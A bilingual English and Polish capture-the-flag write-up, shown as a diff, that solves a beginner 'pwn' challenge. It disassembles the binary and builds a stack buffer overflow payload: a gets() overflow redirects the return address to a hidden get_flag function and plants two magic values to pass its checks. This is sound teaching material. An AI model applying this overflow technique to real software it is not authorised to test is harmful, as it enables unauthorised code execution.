|
| 1 | +# Get started (pwn 100) |
| 2 | + |
| 3 | +###ENG |
| 4 | +[PL](#pl-version) |
| 5 | + |
| 6 | +In the task we get an ELF [binary](get_started) to work with. |
| 7 | +Ret-dec results are: |
| 8 | + |
| 9 | +```c |
| 10 | +int main(int argc, char ** argv) { |
| 11 | + printf("Qual a palavrinha magica? "); |
| 12 | + int32_t str; |
| 13 | + gets((char *)&str); |
| 14 | + return 0; |
| 15 | +} |
| 16 | +``` |
| 17 | +
|
| 18 | +So not much code is executed, but we can see that there is a blatant stack buffer overflow. |
| 19 | +The task description hints that we don't need to get a shell here, everything is in the binary. |
| 20 | +So we look at the disassembly and in fact there is: |
| 21 | +
|
| 22 | +```asm |
| 23 | +; function: get_flag at 0x80489a0 -- 0x8048a1f |
| 24 | +0x80489a0: 56 push esi |
| 25 | +0x80489a1: 83 ec 08 sub esp, 0x8 |
| 26 | +0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f |
| 27 | +0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> |
| 28 | +0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 |
| 29 | +0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> |
| 30 | +0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt" |
| 31 | +0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt" |
| 32 | +0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen> |
| 33 | +0x80489cc: 89 c6 mov esi, eax |
| 34 | +0x80489ce: 89 34 24 mov dword [ esp ], esi |
| 35 | +0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc> |
| 36 | +0x80489d6: 0f b6 c8 movzx ecx, al |
| 37 | +0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff |
| 38 | +0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d> |
| 39 | +0x80489e1: 0f be c8 movsx ecx, al |
| 40 | +0x80489e4: 66 |
| 41 | +0x80489e5: 66 |
| 42 | +0x80489e6: 66 |
| 43 | +0x80489e7: 2e |
| 44 | +0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] |
| 45 | +0x80489f0: 89 0c 24 mov dword [ esp ], ecx |
| 46 | +0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar> |
| 47 | +0x80489f8: 89 34 24 mov dword [ esp ], esi |
| 48 | +0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc> |
| 49 | +0x8048a00: 0f be c8 movsx ecx, al |
| 50 | +0x8048a03: 0f b6 c0 movzx eax, al |
| 51 | +0x8048a06: 3d ff 00 00 00 cmp eax, 0xff |
| 52 | +0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50> |
| 53 | +0x8048a0d: 89 34 24 mov dword [ esp ], esi |
| 54 | +0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose> |
| 55 | +0x8048a15: 83 c4 08 add esp, 0x8 |
| 56 | +0x8048a18: 5e pop esi |
| 57 | +0x8048a19: c3 ret |
| 58 | +0x8048a1a: 66 |
| 59 | +0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] |
| 60 | +``` |
| 61 | + |
| 62 | +So we actually already have there a function which will read and print a flag if called. |
| 63 | +`Checksec` tells us there are no canaries, so we should be able to use buffer overflow in order to overwrite return address from `main()` and jump to `get_flag` function. |
| 64 | + |
| 65 | +Looking at `main` in assembly shows: |
| 66 | + |
| 67 | +```asm |
| 68 | +; function: main at 0x8048a20 -- 0x8048a4f |
| 69 | +0x8048a20: 83 ec 3c sub esp, 0x3c |
| 70 | +0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? " |
| 71 | +0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf> |
| 72 | +0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ] |
| 73 | +0x8048a33: 89 04 24 mov dword [ esp ], eax |
| 74 | +0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630> |
| 75 | +0x8048a3b: 31 c0 xor eax, eax |
| 76 | +0x8048a3d: 83 c4 3c add esp, 0x3c |
| 77 | +0x8048a40: c3 ret |
| 78 | +``` |
| 79 | + |
| 80 | +So we can see that stack frame was created with `sub esp, 0x3c` and therefore there are 60 bytes of stack allocated. |
| 81 | +4 bytes go for the return address, so we need to overflow 56 bytes in order to get to the return pointer. |
| 82 | + |
| 83 | +We want to change the pointer for address `0x80489a0` which is the start of `get_flag` function. |
| 84 | +So the necessary payload is: |
| 85 | + |
| 86 | +`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)` |
| 87 | + |
| 88 | +Keep in mind the reversed byte order for the addresses! |
| 89 | +But this is not enough yet. |
| 90 | +In the `get_flag` code there is: |
| 91 | + |
| 92 | +```asm |
| 93 | +0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f |
| 94 | +0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> |
| 95 | +0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 |
| 96 | +0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> |
| 97 | +``` |
| 98 | + |
| 99 | +Suffice to say that if we take any of those 2 jumps the application will not read the flag for us. |
| 100 | +So we have to make sure that those stack variables carry those specified values. |
| 101 | + |
| 102 | +With the debugger we can quickly calculate that first of those values at `esp + 0x10` is just 4 bytes above the return pointer we just substituted, so we need to extend our payload to: |
| 103 | + |
| 104 | +`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)` |
| 105 | + |
| 106 | +to skip the first check. |
| 107 | +The next one is at `esp + 0x14` so simply the next 4 bytes, and therefore the final payload requires: |
| 108 | + |
| 109 | +`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)` |
| 110 | + |
| 111 | +Using the payload we get the flag: `3DS{b0f_pr4_c0m3c4r_n3}` |
| 112 | + |
| 113 | +###PL version |
| 114 | + |
| 115 | +W zadaniu dostajemy ELFową [binarke](get_started). |
| 116 | +Wyniki ret-dec: |
| 117 | + |
| 118 | +```c |
| 119 | +int main(int argc, char ** argv) { |
| 120 | + printf("Qual a palavrinha magica? "); |
| 121 | + int32_t str; |
| 122 | + gets((char *)&str); |
| 123 | + return 0; |
| 124 | +} |
| 125 | +``` |
| 126 | +
|
| 127 | +Niewiele wykonywanego kodu, ale widzimy że jest tam ewidentny stack buffer overflow. |
| 128 | +Zadanie hintuje, że nie trzeba tu zdobywać shella bo wszystko jest już w binarce. |
| 129 | +Więc zaglądamy do deasemblera a tam faktycznie: |
| 130 | +
|
| 131 | +```asm |
| 132 | +; function: get_flag at 0x80489a0 -- 0x8048a1f |
| 133 | +0x80489a0: 56 push esi |
| 134 | +0x80489a1: 83 ec 08 sub esp, 0x8 |
| 135 | +0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f |
| 136 | +0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> |
| 137 | +0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 |
| 138 | +0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> |
| 139 | +0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt" |
| 140 | +0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt" |
| 141 | +0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen> |
| 142 | +0x80489cc: 89 c6 mov esi, eax |
| 143 | +0x80489ce: 89 34 24 mov dword [ esp ], esi |
| 144 | +0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc> |
| 145 | +0x80489d6: 0f b6 c8 movzx ecx, al |
| 146 | +0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff |
| 147 | +0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d> |
| 148 | +0x80489e1: 0f be c8 movsx ecx, al |
| 149 | +0x80489e4: 66 |
| 150 | +0x80489e5: 66 |
| 151 | +0x80489e6: 66 |
| 152 | +0x80489e7: 2e |
| 153 | +0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] |
| 154 | +0x80489f0: 89 0c 24 mov dword [ esp ], ecx |
| 155 | +0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar> |
| 156 | +0x80489f8: 89 34 24 mov dword [ esp ], esi |
| 157 | +0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc> |
| 158 | +0x8048a00: 0f be c8 movsx ecx, al |
| 159 | +0x8048a03: 0f b6 c0 movzx eax, al |
| 160 | +0x8048a06: 3d ff 00 00 00 cmp eax, 0xff |
| 161 | +0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50> |
| 162 | +0x8048a0d: 89 34 24 mov dword [ esp ], esi |
| 163 | +0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose> |
| 164 | +0x8048a15: 83 c4 08 add esp, 0x8 |
| 165 | +0x8048a18: 5e pop esi |
| 166 | +0x8048a19: c3 ret |
| 167 | +0x8048a1a: 66 |
| 168 | +0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] |
| 169 | +``` |
| 170 | + |
| 171 | +Więc faktycznie jest tu funkcja czytająca i wypisująca flagę. |
| 172 | +`Checksec` mówi że nie ma na stosie kanarków, więc możemy bez problemów przepełnić bufor na stosie aby nadpisać adres powrotu z funkcji `main()` i skoczyć do funkcji `get_flag`. |
| 173 | + |
| 174 | +Jeśli popatrzymy na disasm funkcji main, zobaczymy: |
| 175 | + |
| 176 | +```asm |
| 177 | +; function: main at 0x8048a20 -- 0x8048a4f |
| 178 | +0x8048a20: 83 ec 3c sub esp, 0x3c |
| 179 | +0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? " |
| 180 | +0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf> |
| 181 | +0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ] |
| 182 | +0x8048a33: 89 04 24 mov dword [ esp ], eax |
| 183 | +0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630> |
| 184 | +0x8048a3b: 31 c0 xor eax, eax |
| 185 | +0x8048a3d: 83 c4 3c add esp, 0x3c |
| 186 | +0x8048a40: c3 ret |
| 187 | +``` |
| 188 | + |
| 189 | +Więc widać że ramka stosu została utworzona przez `sub esp, 0x3c` a więc zaalokowano 60 bajtów na stosie. |
| 190 | +4 potrzebne są na adres powrotu, więc musimy przepełnić bufor o 56 bajtów żeby dokopać się do adresu powrotu. |
| 191 | + |
| 192 | +Chcemy zmienić ten adres na `0x80489a0`, czyli na początek funkcji `get_flag`. |
| 193 | +To oznacza że potrzebny payload to: |
| 194 | + |
| 195 | +`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)` |
| 196 | + |
| 197 | +Pamiętajmy o odwrotnej kolejności bajtów w adresach! |
| 198 | +Ale to jeszcze nie wszystko. |
| 199 | +W kodzie `get_flag` mamy: |
| 200 | + |
| 201 | +```asm |
| 202 | +0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f |
| 203 | +0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> |
| 204 | +0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 |
| 205 | +0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> |
| 206 | +``` |
| 207 | + |
| 208 | +Jeśli wykonamy którykolwiek z tych 2 skoków flaga nie zostanie odczytana i wypisana. |
| 209 | +Musimy więc tak ustawić zmienne na stosie, żeby ominąć te dwa warunki. |
| 210 | + |
| 211 | +Za pomocą debuggera możemy szybko wyliczyć że pierwsza wartość z `esp + 0x10` jest tylko 4 bajty powyżej adresu powrotu z main który nadpisaliśmy, więc potrzebujemy rozszerzyć nasz payload do: |
| 212 | + |
| 213 | +`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)` |
| 214 | + |
| 215 | +aby ominąć pierwszy warunek. |
| 216 | +Druga zmienna jest pod `esp + 0x14` więc to po prostu kolejne 4 bajty, więc payload rozszerzamy do: |
| 217 | + |
| 218 | +`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)` |
| 219 | + |
| 220 | +Wysyłając taki zestaw danych dostajemy: `3DS{b0f_pr4_c0m3c4r_n3}` |
0 commit comments